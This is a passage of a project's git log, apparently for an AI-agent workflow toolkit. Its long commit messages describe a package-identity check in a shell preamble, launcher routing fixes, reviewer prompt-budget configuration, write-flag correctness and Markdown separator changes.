fb2d122d7f feat(#3841): assert gsd-tools identity on every state-mutating verb (#3848)
* feat(#3841): assert gsd-tools identity before any state-mutating verb

only this package publishes. The path-based branches — a project-local install,
a runtime config directory — had no such guarantee; they trusted their
configured location. This closes them.

Mechanism: once resolution finishes, and before any verb runs, the preamble
probes the tool it picked with `runtime-identity --raw` and matches the answer
with a shell `case` pattern ANCHORED to the start of the compact payload
(`{"packageName":"@opengsd/gsd-core"`). An unanchored substring match accepts
the decoy `{"packageName":"get-shit-done-cc","note":"@opengsd/gsd-core"}`, which
any colliding package could publish. The outcome is exported as the two-valued
`GSD_IDENTITY_STATUS` (`ok`/`unverified`), so the gate is asserted on a VALUE
rather than on warning prose. Rollout is warn-then-fail per the #3146 ruling:
`unverified` prints one line naming BOTH causes and continues, because
`no_identity_verb` cannot tell a foreign package from an `@opengsd/gsd-core`
older than the verb, and at rollout the old-version case is the common one.

The blocker was byte budget, not design. The preamble is inlined into 112
shipped files and several sat within single-digit bytes of frozen ceilings
(`gsd-verifier.md` 16 bytes, `gsd-executor.md` 33, `execute-phase.md` 234); a
first attempt broke five of them. What made room was collapsing the resolver's
twenty near-identical `elif [ -f … ]` arms into one candidate-list helper
(`_gsd_at`), which buys far more than the assertion costs. The preamble is now
2,624 bytes against 4,500 — a net 1,876 bytes SMALLER per inlined file, so every
capped file moved away from its ceiling rather than toward it. No cap raised, no
size-budget exception added, no override token emitted.

Resolution order, every runtime-home probe, the `unset -f gsd_run` re-source
fix, the fail-closed `exit 1`, and the `CLAUDE_ENV_FILE` persistence are all
preserved byte-for-byte in substring terms; the snippet still begins with
`_GSD_SHIM_NAME=` and still ends with `fi`, which the parity extractors anchor
on. `gsd-core/references/gsd-run-resolver.md` is re-synced byte-equal.

Also fixes two stale claims found in passing: CONTEXT.md and FEATURES.md both
described an `[ -x ]` guard as the load-bearing re-source defense. That guard
was tried and REMOVED in #3831 — it rejected the bare function name, fell
through every branch, and hit `exit 1`, which kills a sourced caller's shell.
`unset -f gsd_run` is the actual mechanism.

* fix(#3841): pair the anchor's brace by requiring a closed identity payload

The matrix went red on `tests/new-project-mvp-prompt.test.cjs` — "new-project.md
has unbalanced braces: net depth 2" — plus a knock-on report from its parent
`bug #1516` describe, which is the same failure counted once at the child and
once at the block.

Root cause: that guard (:182-189, mirroring #3784 bd53925f) walks characters and
increments on `{`, decrements on `}`, with no awareness of shell quoting. It
scans `new-project.md` PLUS every `new-project/steps/*.md`, and both
`new-project.md` and `steps/auto-mode-config.md` carry one inlined preamble copy
— hence net 2 from a snippet that was off by exactly one. The unpaired brace was
the `{` inside the single-quoted `case` pattern of the identity anchor, which is
correct shell and invisible to a text scanner.

Fix in the snippet, not the guard. The pattern now anchors at BOTH ends:
`'{"packageName":"@opengsd/gsd-core"'*'}'`. That balances 51/51 with a brace that
does real work rather than a cosmetic pair — a truncated payload whose prefix
matches now fails too, where before it verified. Safe for any future additive
field: a JSON object's own closing brace is always the last character, whatever
type the last value has, which is pinned by two negative-space tests (a nested
object and an array-valued last key must both still verify). Cost: +3 bytes,
against the 1,873 the resolver fold already gave back.

The alternative considered and rejected was dropping the literal `{` for a `?`
glob. It balances too, but weakens the anchor from "must be an opening brace" to
"must be any one character", and the anchor is the entire point.

Two guards added so this cannot recur silently:
- runtime-launcher-parity (F0) pins brace balance at the SNIPPET, so the next
  edit to that pattern fails on the file it broke instead of surfacing three
  files downstream in a test whose name mentions neither the launcher nor this
  issue. It also asserts depth never goes negative, since a `}` preceding its
  `{` nets to zero while being unbalanced at every prefix.
- runtime-identity gains behavioral truncated-payload and trailing-garbage
  fixtures, so the added `}` is proven load-bearing rather than merely present.

Verified: snippet 51/51 braces; new-project combined net depth 0; the seven
other preamble-bearing files with nonzero depth are unchanged from merged next
(their own prose, not the preamble, and not in any guard's scan set); all 112
inlined copies and the resolver reference re-synced byte-equal; sync:launcher
idempotent on the second run.

63abcface9 feat(#3146): resolve gsd_run so workflows cannot reach a foreign gsd-tools (#3831)
* feat(#3146): resolve gsd_run so workflows cannot reach a foreign gsd-tools

The predecessor package get-shit-done-cc publishes a colliding gsd-tools bin whose phases.clear DELETES where this package's ARCHIVES, and both print success-shaped output against a gitignored .planning/ -- which is how #3129 cost a user 43 phase directories with no error and nothing recoverable from git.

The launcher's PATH branch now resolves gsd_run, published only by this package and self-locating via its own symlink chain to the sibling shim, instead of the colliding gsd-tools. A foreign handler becomes unreachable from PATH, and when no gsd_run is reachable the resolver fails closed rather than falling back -- that fallback was the vulnerability. This is smaller than the branch it replaces, which matters: the preamble is inlined into 113 shipped files and agents/gsd-verifier.md sits 2 bytes under a red-line size cap.

unset -f gsd_run leads the preamble so a re-source is idempotent. Without it, command -v finds the shell function, returns a bare name, and the resolver falls through to an exit 1 that kills a sourced caller's shell.

Adds gsd-tools runtime-identity, a manual diagnostic reporting this runtime's package coordinates over the baked package-identity (#498) and readHostVersion, with a strict total classifier: only a JSON object with an exact packageName verifies, since JSON.parse admits 0/"str"/[]/null/true.

An inlined identity assertion was built and reviewed first, then withdrawn -- it breaks five frozen size ceilings and no assertion fits in 2 bytes.

Closes #3146

* fix(#3146): stop sync:launcher relocating a deliberate preamble placement

Pre-existing defect, surfaced by this PR because sync is a no-op unless the snippet content actually changes. transformFile inserts the preamble into the first block that CALLS gsd_run, but gsd-core/workflows/explore.md deliberately places it in a bootstrap-only block that DEFINES gsd_run without calling it -- its own comment explains why: declining the research offer must not leave Step 5's commit call unbootstrapped. Stripping empties that block of calls, so the preamble migrated forward and broke the define-before-use invariant tests/explore-command.test.cjs pins.

Reproduced on a pristine origin/next checkout with the base snippet and base file, so this was not introduced here. The insertion target now honours a block that already carried the preamble, falling back to the first calling block for files that have none yet. Adds a behavioral regression test over a two-block fixture.

Also updates three runtime-launcher-parity tests that pinned the removed PATH fallback to gsd-tools. Their intent is preserved -- the PATH stub is renamed gsd_run so it is reachable by the new resolver, and the RUNTIME_DIR-wins test still asserts the stub is never invoked. Fixture shebangs move to an absolute /bin/sh, because the fixture PATH is deliberately restricted and #!/usr/bin/env sh could not resolve.

* docs(#3146): document the FEATURES.md section-numbering practice

The monotonically increasing section number in docs/FEATURES.md is the most frequent merge-conflict source in this repo, and it has TWO conflict cells, not one: the ### N. heading and the hand-maintained table of contents. Two PRs adding differently numbered features still collide on the TOC, so renumbering alone does not make a branch safe. This branch alone was renumbered 165 -> 166 -> 167 -> 168 across successive rebases.

Adds a CONTRIBUTING section stating the practice: allocate the number last, never pre-emptively renumber, take max+1 after a rebase and update the TOC in the same commit, and never renumber someone else's section. Fork contributors are told explicitly they may leave the number to a maintainer at merge rather than chasing the counter. Agents are told to lease the allocation and to include the file in their published touched set.

Records the durable fix as planned rather than pretending it exists: FEATURES.md should be generated from per-feature fragments the way CHANGELOG.md is generated from .changeset/, and the way tests/emitted-drift-acks/ works (#2914).

Also renumbers this branch's own section to 168, leaving 167 to the PR already in flight.

aaf47c5fc2 fix(#3691): let every reviewer lane take a prompt cap, and make the documented global resolve (#3832)
* test(#3691): failing-first coverage for the reviewer prompt budget

No prompt cap can reach any CLI reviewer lane, by any configuration. Two
independent defects compound: all nine `transport: spawn` lanes declare
`promptBudgetKey: null`, so `budgetFor` returns on its first line; and the
documented global `review.max_prompt_tokens` is advertised in the schema
manifest but declared nowhere, so the resolver never materializes it and
`budgetFor`'s fallback is dead code.

Adds to tests/reviewer-config-federation.test.cjs, which already owns the
per-reviewer budget config-set/config-get idiom:

- a CLI lane inherits the global cap (RED: reports null)
- an http lane with the -1 sentinel inherits the global cap (RED: reports null)
- the resolved review surface carries max_prompt_tokens at all (RED: absent)
- per-lane overrides the global on a CLI lane
- the sentinel boundary: -1 inherits, 0 means do-not-trim and must NOT read as
  unset, 1 is the smallest real budget — the regression budgetFor's own comment
  warns about
- anti-tightening pins that must stay green: an empty config leaves every lane
  null, the three existing budgeted lanes are unchanged, and config-set still
  rejects a per-reviewer key naming something that is not a declared lane
- a fast-check property over the resolution contract itself, with -1, 0 and
  non-finite inputs generated explicitly rather than left to chance

Every row was reproduced by hand against the real CLI before being written, so
the RED/GREEN split is observed rather than predicted.

Refs #3691

* fix(#3691): let every reviewer lane take a prompt cap, and make the global resolve

No prompt cap could reach any CLI reviewer lane, by any configuration. Two
independent defects compounded.

The nine spawn-transport lanes — claude, coderabbit, antigravity, cursor,
gemini, codex, kimi-code, opencode, qwen — declared `promptBudgetKey: null`, so
`budgetFor` returned on its first line and `review-lane plan` reported
`promptBudget: null` no matter what was configured. Each now declares
`review.max_prompt_tokens_per_reviewer.<slug>` with the same `-1`-is-unset
sentinel the three local-server lanes already use.

Separately, the central `review.max_prompt_tokens` was listed in the schema
manifest's validKeys and documented as a supported setting, but declared
nowhere — the resolved surface is built from capability declarations plus the
defaults manifest, and neither carried it. `configGet` returned undefined and
`budgetFor`'s documented fallback was dead code. It is now declared with a
`null` default, exactly as docs/CONFIGURATION.md already specified, so the
default behavior is unchanged: nothing configured means nothing trims.

Two things the diagnosis had not predicted, found and fixed while implementing:

- `REVIEWER_LANES` in src/review-lane-descriptor.cts is a second, hardcoded
  registration site that `mergeReviewerLanes` prefers over the capability
  registry on a slug collision. Editing only the capability files left every
  CLI lane still null. Both sites now agree.
- The generated `gsd-core/bin/lib/capability-registry.cjs` was stale and masked
  the capability edits; regenerated with `npm run gen:capability-registry`
  rather than hand-edited.

docs/CONFIGURATION.md said "Only lanes that declare a budget key accept one —
today ollama, lm_studio and llama_cpp". That is false as of this change and is
corrected rather than left to rot.

The trim-versus-refuse question the issue raises is deliberately not taken up
here: the refusal path already exists for the case that matters — a reviewer
whose minimum set exceeds its budget is skipped rather than sent a misleading
prompt — and trimming above that floor is the documented, shipped design of the
feature. Changing it would alter behavior for the three lanes that already
work, which is not what the issue asks for.

Fixes #3691

* fix(#3691): document the new global and narrow an invariant this change obsoleted

The full suite surfaced two consequences of giving every CLI lane a budget key.

`review.max_prompt_tokens` entered CONFIG_DEFAULTS without a matching entry in
the planning-config reference, which config-field-docs guards. Documented,
including the sentinel semantics a reader needs: a per-lane value overrides the
global, `-1` means unset and inherits it, and `0` means "do not trim that lane"
and is not unset.

The #2797 federation guard asserted that "a lane with no model flag and no host
owns no config keys". That held only because budget keys existed solely on the
three local-server lanes, all of which have hosts. A lane can now legitimately
own a config key for a third reason, so qwen tripped it.

The assertion is narrowed rather than weakened: such a lane must still own no
model key and no host key, and may own at most its own
`review.max_prompt_tokens_per_reviewer.<slug>` — never another lane's. That is
strictly more specific in the dimensions that still matter. Proven to still
bite: hypothetically giving qwen a `review.models.qwen` key fails it with
`model/host: review.models.qwen`. The name and comment cite #3691 for why the
premise changed, so a reader sees a deliberate narrowing, not erosion.

Checked the sibling assertions in that describe block; the other three do not
rest on the obsolete premise and are untouched.

Refs #3691

* fix(#3685): port the write-flag content-change contract to its three sibling sites

#3685 fixed `phase complete`'s `roadmap_updated` / `state_updated`, which
reported `fs.existsSync(path)` rather than whether the transaction wrote
anything. Three sibling sites carried the identical defect and are ported here.

- `cmdPhaseRemove` reported `roadmap_updated: true`, hardcoded.
  `updateRoadmapAfterPhaseRemoval` now returns whether the content changed and
  the flag reports it. #2640/#2974 already fixed `state_updated` at this same
  call site and left this one behind, so the correct shape was adjacent.
- `cmdMilestoneComplete` reported `state_updated: fs.existsSync(statePath)` —
  byte-identical to #3685's bug in a different command.
- `cmdMilestoneComplete` reported `milestones_updated: true`, hardcoded, never
  consulting the MILESTONES.md write.

`gsd-core/workflows/remove-phase.md:100` extracts `roadmap_updated` for display
and never branches on it, so the flip from always-true to content-based changes
no workflow behavior. Verified by reading the step, not assumed.

One trap found while implementing: the obvious in-memory
`finalContent !== originalStateContent` comparison — copying `cmdPhaseComplete`'s
shipped shape verbatim — gives a FALSE POSITIVE for milestone completion.
`platformWriteSync` normalizes Markdown at write time, and the milestone-closure
transform regenerates `## Current Position` fresh on every call, so its
pre-normalize output always differs from the already-normalized file on disk
even when the persisted bytes are identical. The comparison is therefore made
against the post-write on-disk content. `cmdPhaseComplete`'s own comparisons are
left untouched — their repeat-no-op tests pass, so they are not exposed to this
artifact.

`milestones_updated` has no reachable no-op: the MILESTONES.md write
unconditionally appends an entry every call. Only the true direction is pinned,
documented inline rather than faked with a passing test.

Refs #3685

* fix(#3685): compare write-flag content through the writer's own normalizer

An independent reviewer disproved a claim made while porting #3685's contract
to its sibling sites: that `cmdPhaseComplete`'s comparisons were not exposed to
the Markdown-normalization artifact already diagnosed in `cmdMilestoneComplete`.

`platformWriteSync` normalizes on write — CRLF stripped, blank-line runs
collapsed, a blank line inserted after a heading, a single trailing newline
enforced. Every flag that compares the PRE-normalization in-memory string
against the on-disk pre-image can therefore report a change when the persisted
bytes are identical. `cmdMilestoneComplete` had been worked around by re-reading
the file after the write; the other sites compared raw strings.

All of them now go through one exported seam,
`contentChangedAfterNormalize(filePath, before, after)`, which normalizes both
sides exactly as the writer does. That removes the extra disk read the milestone
workaround needed, and makes the sites agree by construction rather than by
four independent implementations of one rule — the divergence the repo names as
an anti-pattern.

Reachability, stated precisely rather than uniformly: the seam is load-bearing
at `cmdPhaseComplete`'s `roadmapUpdated`, `requirementsUpdated` and
`stateUpdated`, where section-rewrite logic genuinely regenerates content into a
different-but-normalization-equivalent shape. At
`updateRoadmapAfterPhaseRemoval` it is defense-in-depth: the no-match branch
never reassigns `content`, so the raw comparison was already correct there. The
first analysis claimed the reverse; this is the corrected finding.

Also fixes an unsound test premise the remote suite caught. The byte-identity
precondition in `roadmap_updated is false when ROADMAP.md comes out
byte-identical` asserted against a hand-authored, un-normalized fixture — so the
very first write reformatted it and the file could not come back identical. The
fixture is now written already-normalized, so the assertion compares a
normalized pre-image against a normalized post-image and still fails if the flag
regresses to a hardcoded `true`. Not platform-specific; it reproduces on macOS
too, and the earlier local check simply never exercised it.

The sibling true-direction and milestone tests were checked for the same premise
and do not share it — they assert `notEqual`, or compare two post-write states
produced through the same normalizing seam.

c933184b97 enhance(#3172): require a stated failing direction for every automated acceptance command (#3825)
* test(#3172): failing-first suite for the stated failing-direction probe

Pins the <fails_when> pairing walk, placeholder denylist, MISSING sentinel
exemption, degraded-read contract, CLI arm and the plan-authoring contract text.
RED by construction: the module exports it requires do not exist yet.
Executed on the remote runner.

* feat(#3172): require a stated failing direction for every automated acceptance command

Every runnable <automated> command now carries a <fails_when> sibling naming
what output constitutes failure. A command with no expressible failure mode is
not an acceptance test: it reads as rigour and is not falsifiable.

- verify-command-grounding gains a failing-direction probe sharing the existing
  <automated> grammar, MISSING sentinel and walk guard rather than copying them
- gsd-tools check verify-failure-directions <N> backs it; plan-phase dispatches
  it and hands the JSON to gsd-plan-checker check 8f
- Dimension 8 detail extracted to references to stay under the agent size cap

Verified on the remote runner.

* fix(#3172): close four review findings in the failing-direction probe

- MISSING_SENTINEL_RE matched an env-var assignment prefix (MISSING=1 cmd), so
  a real command was exempted from the new blocking gate. Tightened the SHARED
  constant rather than adding a second copy.
- Both token regexes scanned to EOF on unclosed openers (O(n^2), 1562ms at 40k).
  Bodies are now non-crossing; 1ms, byte-identical on well-formed input. The
  pre-existing AUTOMATED_BLOCK_RE carried the same defect and is fixed here too.
- probePhaseFailingDirections reported status 'ok' when one plan was unreadable,
  conflating 'could not look' with 'nothing to report'.
- Extracted the phase-resolution block both check arms had copied verbatim.

Also corrects a docs/AGENTS.md dimension list stale since #2401.
Verified on the remote runner.

* fix(#3172): project the planner rule onto the spawn contract, settle emitted bookkeeping

The remote runner refuted the planner-side edit. agents/gsd-planner.md is frozen
under a 49152-LF-char cap asserted by four suites and sat at 49,146 — six chars
of headroom — so the +537 of authoring rule blew it. #3297/#3645 already settled
where such a rule goes: the planner spawn contract in plan-phase.md, beside
<tracked_source_paths>. The agent file is reverted to origin/next verbatim.

- plan-phase.md gains <failing_direction_contract>; tests row 30 now asserts the
  contract there and row 30b guards the freeze in both directions
- plan-phase.md growth acknowledged by APPENDING to the 3409 fragment, per the
  precedent that two ack sources may never name the same path
- install-tree fixtures regenerated for the three new reference files

Verified on the remote runner.

8442d984b9 fix(#3809): route runtime-loaded markdown through the gsd_run launcher (#3815)
* test(#3809): generalize dead-ref guard into a rule table (failing first)

The #2020 guard hardcoded `sdk/(src|dist|handlers)/` — the three dead paths
that had caused that storm. That proved those three paths were gone and said
nothing about the class, so #3809 reproduced the identical Windows find.exe
storm under a different token and the guard could not see it.

Replaces the single regex with a rule table over the same runtime-loaded
markdown surface, adds `commands/` to the scan set (previously uncovered),
and adds rule B: the runtime shim filename must never appear in command
position, because it is not a PATH command and an agent that meets it falls
back to locating the file.

Rule B's matcher is deliberately lenient — the launcher's own resolver
assignment, `node <path>/<shim>` calls, bare paths, and prose that names the
file all stay unflagged, each pinned by a negative-space row.

This commit is expected to FAIL: 50 offenders across 23 files remain in the
tree. The remediation lands next.

* fix(#3809): route every workflow call through the gsd_run launcher

50 places across 23 runtime-loaded workflow, agent, reference, and command
files instructed the agent to run the runtime shim by filename. That filename
is not on PATH under any name -- package.json ships gsd-core, gsd-tools,
gsd_run and gsd-mcp-server -- so the call exited 127, the file-shaped token
sent the agent looking for the file, and on Git Bash for Windows the resulting
`find /` walked the entire drive (7268 CPU-seconds in the report) until
somebody killed it by hand.

CONTEXT.md -> Runtime Launcher Module already makes gsd_run the single entry
point: "Canonical space-safe shell preamble (`gsd_run`) used by every workflow
bash block to invoke the GSD runtime CLI." These sites predate that rule --
they trace to 0e6907050 (docs(#195): migrate workflow markdown off gsd-sdk
query), which swapped one non-PATH token for another.

Two further instances of the same class surfaced during remediation and are
fixed here rather than left for later:

  - references/model-profiles.md prescribed `node <shim> effort sync` with no
    path at all; node resolves a bare filename against cwd, so it fails the
    same way.
  - references/universal-anti-patterns.md rule 25 instructed every agent to
    "use <shim>" when shelling out. That rule did not contain the defect, it
    prescribed it repo-wide.

Five "(or legacy <shim>)" parentheticals left dangling by the substitution are
removed; after the rewrite they offered the non-resolving form as an
alternative.

The guard from the previous commit now passes. Its node-prefix exemption was
tightened to require a path separator, which is what exposed model-profiles.

Fixes #3809

* fix(#3809): key the guard on the CLI's whole verb roster, not observed usage

Review found the first cut of rule B repeating the very mistake it exists to
prevent. Its verb set held query, commit and effort -- the verbs that happened
to appear in the tree -- so it could not see `<shim> phase add`,
`<shim> state load`, `<shim> verify ...` or twenty-odd other real single-word
subcommands. A guard that only recognises yesterday's offenders is not a guard.

The set is now the CLI's full advertised roster, unioned from the usage banner
and HOST_COMMAND_ROUTERS (which carries verification, planning, uat, stats,
todo and windows, all absent from the banner).

Widening it immediately caught a live offender the first pass had missed:
references/planning-config.md prescribed `node <shim> worktree set-baseref`
with no path. Fixed here.

Also drops the "a hyphen or a dot means subcommand" heuristic, which was
unsound for prose -- it flagged `built-in` and `v1.2`. Detection now keys
entirely on the roster, testing the first dot-segment so that phase.add and
state.patch still match while prose does not. Both false positives are pinned
as negative-space rows.

Guard verified against the pre-fix tree at origin/next: 52 offenders across 25
files, and 0 after this branch's remediation.

* fix(#3809): derive the verb roster from the router; repair launcher parity

Standards review caught the guard repeating the defect it exists to prevent.
Its verb list was a hand-copied literal -- and worse, transcribed from an
INSTALLED older binary, so it was missing 22 verbs this tree actually ships
(websearch, windows, state-snapshot, context-predicates and the dispatch-*
family among them). gsd-tools.cjs already carries three hand-maintained
rosters whose drift is a named defect pinned by the parity test in
tests/commands.test.cjs; a hand-copied fourth was that same defect wearing a
guard's clothes.

The roster is now derived from HOST_COMMAND_ROUTERS + TOP_LEVEL_USAGE, lazily
and memoised, with `query` supplemented explicitly -- it dispatches through
the routing hub ahead of the host-router table, so it appears in neither
export, yet 45 of the 50 offenders used it. A parity test pins the derivation.

Two regressions this branch introduced, both caught by the remote runner:

  - runtime-launcher-parity: rewriting a comment in gsd-research-synthesizer.md
    put a `gsd_run` token at line 65 while the canonical preamble sits at 158,
    breaking "exactly ONE preamble, before the first gsd_run call". The comment
    is descriptive and needs no command token at all; it now names none.
  - The #2751 guard's PROSE_ALLOWLIST entry for that same line went stale once
    the line stopped carrying a bare mention. Pruned, exactly as that guard's
    own stale-entry test instructs.

Also corrects git-planning-commit.md, where the first pass rewrote only the
trailing "legacy" clause and left the sentence reading backwards.

Note the #2751 guard and this one are complementary, not duplicates: its regex
requires whitespace immediately after `gsd-tools`, so it cannot match the
`.cjs` form, and this one only matches the `.cjs` form.

* fix(#2751): extend the bare-command guard to references/ and commands/

The #2751 guard has only ever scanned agents/ and gsd-core/workflows/. Two
runtime-loaded directories were never in its scan set, and 47 bare
`gsd-tools <verb>` calls had accumulated there unseen -- the same defect that
guard exists to catch, in the rooms it never entered.

  - gsd-core/references/: 37 calls, all rewritten to gsd_run. references are
    fragments inlined into a parent that defines the launcher, which is why 21
    of the 22 files already using gsd_run carry no local preamble.
  - commands/gsd/: 10 operative calls rewritten. The remaining 10 are
    descriptive prose ("resolved inside the workflow via ...") and are
    allowlisted with reasons, bringing PROSE_ALLOWLIST to 15.

commands/ also came under launcher propagation. sync-runtime-launcher.cjs
walked only WORKFLOWS_DIR and AGENTS_DIR, so every preamble under commands/
was a hand-pasted copy nothing propagated and no test checked -- graphify.md
had accumulated five. It now walks COMMANDS_DIR too, which collapses those
five to the canonical one-per-file, and runtime-launcher-parity gains a
(B-commands) arm mirroring (B-agents) exactly so the placement stays honest.

The parity arm keys on shell blocks, so commands/gsd/workstreams.md and
config.md -- which name gsd_run only in inline backtick prose -- are exempt,
as they should be. gsd_run is itself a shipped npm bin, so those inline
instructions resolve from PATH exactly as the gsd-tools form they replace did.

skills/ is deliberately NOT added to either guard's scan set: it is generated
from commands/ and pinned by lint:generated-sync, so guarding the source
guards both, and scanning the mirror would double-report every future
offender. Regenerated here.

* test(#3809): acknowledge the one emitted file this change grows

The emitted-attribution gate failed on the previous sha: gsd-research-synthesizer.md
grew 3 bytes (13847 -> 13850) with no acknowledgment. The substitution SHRANK the
other 19 emitted files, which is why the growth arm was not expected to fire at all.

The 3 bytes are unavoidable. Line 65 is a descriptive comment inside a fenced block;
naming any command there puts a gsd_run token ahead of the file's canonical preamble
at line 158, which runtime-launcher-parity's (B-agents) arm correctly rejects. So the
comment names no command and says where the config is actually loaded instead, which
reads longer than the token it replaced.

Acks only the path the gate reported, per the fragment rules.

* revert(#2751): drop the commands/ half — three contracts pin it in place

The remote runner refuted the commands/ extension outright. Reverting it and
keeping the references/ conversion, which passed.

What broke, all of it caused by bringing commands/ under launcher propagation:

  - graphify.md's five per-block preambles are LOAD-BEARING, not accumulated
    drift. tests/graphify-visualization.test.cjs extracts individual Step-3
    shell chains and executes them standalone, so each fenced block needs its
    own definition of gsd_run. Collapsing them to the canonical one-per-file
    produced `bash: gsd_run: command not found`, exit 127, across four tests.
    The "define once per file" contract holds for workflows and agents because
    nothing extracts their blocks in isolation; commands/ is not like that.
  - explore.md broke "the preamble that DEFINES gsd_run must appear before the
    first USE of gsd_run anywhere in the file".
  - tests/gsd-tools-path-refs.test.cjs (#1766) ASSERTS that
    commands/gsd/workstreams.md contains the literal string
    `gsd-tools query workstream.list`. Rewriting it to gsd_run contradicts a
    test that pins the opposite, so the two guards disagree about that file by
    construction.

So commands/ is not a scan-set widening. It needs those contracts reconciled
first, and that is its own change. SCAN_DIRS keeps gsd-core/references/ and
drops commands/, the ten commands/ allowlist entries go with it (back to 5),
and the reasoning is recorded in the guard itself so the next person does not
rediscover it by burning a matrix run.

commands/gsd/import.md keeps its #3809 fix — that one is the .cjs form this
PR exists to remove, and it is untouched by any of the above.

* revert(#3809): restore explore.md's Step 1 preamble placement

Running the launcher sync script processed workflows/ and agents/ too, not
just the commands/ directory the run was aimed at, and it MOVED
gsd-core/workflows/explore.md's preamble from Step 1 down to Step 3.

The script inserts into the first bash block that USES gsd_run. explore.md's
Step 1 block only DEFINES it, and that placement is deliberate -- the file
says so on the line above: "Placed in Step 1 rather than Step 3 so declining
the research offer cannot leave Step 5's commit call unbootstrapped."
tests/explore-command.test.cjs pins it.

explore.md carried no #3809 offender, so reverting it costs this fix nothing.
This was collateral from invoking the sync script at all, not from the
COMMANDS_DIR change, which is why the earlier commands/ revert did not catch it.

* fix(#3809): drop the hand-rolled regex escaper CodeQL flagged

CodeQL raised js/incomplete-sanitization (HIGH) on the guard's pattern build:
`SHIM.replace(/\./g, '\\.')` escapes the dot and nothing else, so it does not
escape backslashes. It blocked PR #3815.

The repo already bans this shape -- local/no-adhoc-regex-escape exists exactly
to stop hand-rolled escapers, with the canonical one in src/pattern.cts. Rather
than reach for that helper, the pattern now carries no escaping logic at all:
SHIM is a compile-time constant whose only metacharacter is the dot, so the
regex source is spelled out literally. The generated source string is
byte-identical to what the replace() produced, verified before and after --
0 offenders on this tree, 52 against origin/next, unchanged.

A drift pin asserts SHIM_PATTERN still matches SHIM exactly, and that the dot
is escaped rather than acting as a wildcard, so the two cannot separate.

cf15682d1c enhance(#3028): responsive Markdown separators instead of fixed-width rules (#3789)
* feat(#3028): responsive Markdown separators instead of fixed-width rules

Stage banners, checkpoints, completion and error panels used fixed-width
runs of box-drawing characters -- a 53-column heavy rule and a 62-column
double-line box. Those runs are ordinary text to a Markdown-rendering
host, so in a narrower pane they wrap and the border comes apart from
the heading it framed.

Shipped content now emits an ATX heading for a titled section and a
blank-line-delimited --- for a break between sections, both of which
adapt to the available width. The same convention is applied to the
three code sites that built these strings at runtime: the UAT
checkpoint renderer, the milestone-close audit report, and the TDD
review checkpoint table.

Removing the box also removes its only reason to exist -- the
east-asian-width padding helpers that kept its right border aligned
(checkpointBoxLine, displayWidth, isWideCodePoint, ZERO_WIDTH_MARK_RE,
CHECKPOINT_BOX_WIDTH). RTL directional isolation is unchanged.

The convention is specified in gsd-core/references/ui-brand.md and
enforced across all shipped content by tests/responsive-separators.test.cjs.

Refs #3028

* test(#3028): pin the heading form in checkpoint and audit-report assertions

These suites asserted the exact box borders and the 62-column padded
banner interior. With the box gone they assert the ### heading form,
the --- break and the bolded instruction line, and each now carries a
positive assertion that no box character remains -- which is what pins
the fix rather than merely tolerating it.

Language coverage is converted, not dropped: Japanese, Chinese, Korean,
Hindi and Arabic all still assert their rendered banner, and the Arabic
case still asserts the RTL directional isolates the box removal must
not disturb. Adds a case for a banner longer than the old inner width,
which previously produced a ragged border and now has none.

Refs #3028

* chore(#3028): acknowledge execute-plan.md growth from the checkpoint display spec

The checkpoint_protocol display spec described the drawn box; it now
describes the heading, the --- break and the bolded action prompt,
which costs 22 bytes (40111 -> 40133, 827 under the cap).

Appended to the existing #3370 fragment rather than filed as a new one:
a growth ack keys on the bare filename and #3370 already declares
execute-plan.md, so a second source naming it would be a hard
duplicate-key error. Same supersede-by-append route #3370 took for the
spent #2652 fragment.

Refs #3028

* docs(#3028): state the load-bearing half of the separator rule, and amend the zh-CN reference

Review found three things.

The rule as first written demanded a blank line above AND below every
---. Only the one above is load-bearing: it is what stops CommonMark
reading the rule as a setext underline for the line above. The one below
is cosmetic, because a thematic break is a leaf block. The rule now says
that, with the reason, instead of asserting a stricter form the content
does not keep.

The zh-CN reference had received the mechanical box-to-heading swap but
none of the prose behind it: it still claimed a 62-character checkpoint
width and still listed --- among forbidden mixed banner styles, so it
contradicted the convention it was translating. It now carries the
separator section, the setext reasoning, the unconditional-vs-per-runtime
rationale and a corrected anti-pattern list, in Chinese.

The user guide asserted that a heading is not a degradation anywhere.
That is an assertion, not a demonstration. It now says what was actually
traded away in a plain terminal, points at the recorded rationale, and
invites the report that would justify the capability flag instead.

622f43353c fix(#3299): tracer feedback gate honors workflow.human_verify_mode (#3390)
* fix(#3299): tracer feedback gate honors workflow.human_verify_mode

The tracer feedback gate (#2294) predates `workflow.human_verify_mode`
(#3309, whose scope was the planner and verifier only), and branched on
auto-mode alone. Under the documented `end-of-phase` default an
interactive run therefore halted after EVERY `type="tracer"` task,
synthesizing a `checkpoint:human-verify` no planner ever emitted and
asking the user to retype a verdict the executor had just computed —
at the cost of a full executor cold-start each time.

Planner-side suppression cannot reach this halt because the executor
synthesizes it at runtime, which is why #3309 did not close it.

The gate now branches on HUMAN_VERIFY_MODE in the interactive path:
under `end-of-phase` an automated-only tracer `<verify>` is re-run and,
on success, expansion continues with no checkpoint. HALT-on-failure is
unchanged. `mid-flight`, `gate="blocking-human"`, and tracers carrying
genuine `<human-check>` evidence all still stop; the autonomous branch
is untouched.

`--default end-of-phase` on the config read is load-bearing, not
decorative: `workflow.human_verify_mode` is absent from SCHEMA_DEFAULTS,
so a bare `config-get` exits non-zero with `Key not found` on any
project whose config.json predates #3309 — which is the reporter's
exact config and every pre-existing project.

Both copies of the rule (workflows/execute-plan.md and
agents/gsd-executor.md) are updated together; the reference doc records
the seam and the human-check-still-halts rationale so it cannot recur.

* fix(#3299): reconcile the canonical schema table and the stale acceptance test

Review round 1 (trek-e) — three items, all in the drift class this PR is
about, two of them landed inside this PR's own diff.

1. docs/reference/plan-md.md:233 — CONTEXT.md names this file the canonical
   schema reference for the tracer task-type contract, and its Task-types row
   still claimed interactive runs unconditionally present a
   checkpoint:human-verify. CONTEXT.md and docs/AGENTS.md were updated in the
   first round; this one was missed, so the authoritative reference was the
   wrong answer. The row now carries the human_verify_mode-conditional
   behavior and points at the canonical precedence chain.

2. tests/tracer-bullet.test.cjs — the docs assertion only checked that a
   tracer ROW EXISTS, never its content, which is why CI could not see the
   drift. It now asserts the row's actual claims and rejects the pre-#3299
   wording. Separately, the #1945 acceptance test named 'interactive run emits
   checkpoint:human-verify after the tracer' kept passing only because its
   substrings still occur in the fallback clause, while its name asserted the
   opposite of shipped behavior. Renamed and narrowed to what #1945 still
   guarantees, plus a new interactiveIsConditional pin so the unconditional
   prose cannot be restored under a passing substring check.

3. plan-md.md's <verify> row now documents that the legacy bare-text form
